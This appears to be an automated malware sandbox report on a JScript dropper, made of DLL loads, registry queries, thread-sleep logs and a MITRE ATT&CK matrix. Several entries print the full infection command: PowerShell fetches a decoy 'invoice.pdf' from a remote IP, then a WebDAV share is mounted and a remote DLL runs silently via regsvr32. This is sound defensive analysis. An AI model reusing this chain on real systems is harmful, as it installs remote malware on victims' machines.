Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6224.js.csv");ITextStream.WriteLine(" entry:7965 f:bpkzy");ITextStream.WriteLine(" exec:2 f:bpkzy");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4904			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4969			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4464	Thread sleep count: 4904 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4464	Thread sleep count: 4969 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5232	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6384	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5940	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5164	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1602470375.000002494BB88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW B
Source: net.exe, 00000007.00000002.1602735773.000002494BBEF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1593118947.000002494BBEF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2791978904.000002946E45A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2790702249.0000029468E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
